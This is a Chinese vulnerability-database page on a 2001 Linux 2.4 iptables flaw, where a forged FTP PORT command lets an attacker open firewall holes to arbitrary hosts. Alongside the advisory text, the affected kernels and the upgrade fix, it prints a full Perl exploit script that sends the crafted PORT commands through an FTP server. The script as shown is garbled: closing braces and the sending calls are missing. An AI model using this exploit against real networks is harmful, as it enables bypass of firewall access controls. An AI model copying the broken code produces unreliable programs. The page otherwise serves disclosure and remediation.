发布时间 :2001-07-02 00:00:00
修订时间 :2017-10-09 21:29:42

[原文]ip_conntrack_ftp in the IPTables firewall for Linux 2.4 allows remote attackers to bypass access restrictions for an FTP server via a PORT command that lists an arbitrary IP address and port number, which is added to the RELATED table and allowed by the firewall.


        Linux 2.4版本的IPTables防火墙中的ip_conntrack_ftp存在漏洞。远程攻击者可以为FTP服务器借助列举任意IP地址和端口号码的PORT命令绕过访问限制。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/o:linux:linux_kernel:2.4.0Linux Kernel 2.4.0
cpe:/o:linux:linux_kernel:2.4.0:test1Linux Kernel 2.4.0 test1
cpe:/o:linux:linux_kernel:2.4.1Linux Kernel 2.4.1
cpe:/o:linux:linux_kernel:2.4.2Linux Kernel 2.4.2
cpe:/o:linux:linux_kernel:2.4.3Linux Kernel 2.4.3

- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(VENDOR_ADVISORY)  BUGTRAQ  20010416 Tempest Security Techonologies -- Adivsory #01/2001 -- Linux IPTables
(UNKNOWN)  XF  linux-netfilter-iptables(6390)

- 漏洞信息

高危 未知
2001-07-02 00:00:00 2005-08-17 00:00:00
        Linux 2.4版本的IPTables防火墙中的ip_conntrack_ftp存在漏洞。远程攻击者可以为FTP服务器借助列举任意IP地址和端口号码的PORT命令绕过访问限制。

- 公告与补丁


- 漏洞信息 (20765)

Linux kernel 2.4 IPTables FTP Stateful Inspection Arbitrary Filter Rule Insertion (EDBID:20765)
linux remote
2001-04-16 Verified
0 Cristiano Lincoln Mattos
N/A [点击下载]

The Linux kernel includes a built-in firewall implementation called IPTables. IPTables supports stateful inspection of several application protocols, one of which is FTP. The inspection is used to facilitate outgoing PORT connections for FTP data transfers when clients or servers are behind firewalls.

When a FTP PORT command containing an IP address which differs from the client's is processed by the stateful-inspection module, the occurrance is caught. Despite being detected, the condition is handled erroneously causing an entry for the PORT connection to be inserted into the table of 'RELATED' connections. This temporarily permits traffic through the firewall from the FTP server to the destination included in the PORT command.

An attacker may be able to use this vulnerability to access unauthorized hosts from the FTP server.

It should be noted that clients do not need to authenticate to exploit this vulnerability. 

# --- "Drill" holes open in Linux iptables connection table
# Author: Cristiano Lincoln Mattos <>, 2001
# Advisory:
#      Tempest Security Technologies - a business unit of:
#    CESAR - Centro de Estudos e Sistemas Avancados do Recife
# This code is licensed under the GPL.

use Socket;
use Getopt::Long;
use strict;

# Option variables
my $server;
my $serverport = 21;
my $host;
my $port;
my $verbose = 0;

# Print function
sub out {
	my ($level,$text) = @_;
	if (!$level || ($level && $verbose)) { print "$text"; }

my $opt = GetOptions("server=s" => \$server,
		     "serverport=s" => \$serverport,
		     "host=s" => \$host,
		     "port=i" => \$port,
		     "verbose" => \$verbose);

if ($server eq "" || $host eq "" || $port eq "" || $port < 0 || $port > 65535) {
	print "Usage: $0 --server <ftp> [--serverport <port>] --host <target> --port <port> [--verbose]\n";
	print "   - server: specifies the FTP server (IP or hostname) to connect to\n";
	print "   - serverport: specifies the port of the FTP server -- default: 21\n";
	print "   - host: the IP of the target to open in the connection table\n";
	print "   - port: the port of the target to open in the connection table\n";
	print "   - verbose: sets verbose mode\n";

print "\n -- Cristiano Lincoln Mattos <lincoln\>, 2001\n";
print " Tempest Security Technologies\n\n";

# For the meanwhile, expecting an IP
my @ip = split(/\./,$host);
my $str = "PORT " . $ip[0] . "," . $ip[1] . "," . $ip[2] . "," . $ip[3] . "," . ($port >> 8) . "," . ($port % 256) . "\r\n";

# Socket init
my $ipn = inet_aton($server);
if (!$ipn) {
	out(0," Error: could not convert $server\n");

my $sin = sockaddr_in($serverport,$ipn);

if (!connect(Sock,$sin)) {
	out(0," Error: could not connect to $server:$serverport.\n");
out(0," - Connected to $server:$serverport\n");

my $buf;
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");

# First send a dummy one, just to establish the connection in the iptables logic
out(1," - SEND: $str");
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");

# Now, send the one that will insert itself into the connection table
out(1," - SEND: $str");
recv(Sock,$buf,120,0); chomp($buf);
out(1," - RECV: $buf\n");

out(0," * $server should now be able to connect to $host on port $port ! (for the next 10 seconds)\n");
out(0," - Closing connection to $server:$serverport.\n\n");


- 漏洞信息

IPTables FTP Stateful Inspection Arbitrary Filter Rule Insertion
Remote / Network Access Authentication Management, Input Manipulation, Misconfiguration
Loss of Confidentiality
Exploit Public Third-party Verified

- 漏洞描述

The FTP connection tracking module in the Linux kernel's netfilter (iptables) contains a flaw that may allow a malicious user to bypass firewall rules for FTP server access. The issue is triggered when the module fails to correctly validate a PORT command. It is possible that the flaw may allow entries to be inserted into the firewall's RELATED table, resulting in bypass of the intended access controls, and thereby a loss of confidentiality.

- 时间线

2001-04-19 Unknow
2001-04-19 Unknow

- 解决方案

Upgrade to version 2.4.4 of the kernel or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround(s): disable FTP RELATED connections in your firewall ruleset, or apply the vendor-supplied patch.

- 相关参考

- 漏洞作者

Unknown or Incomplete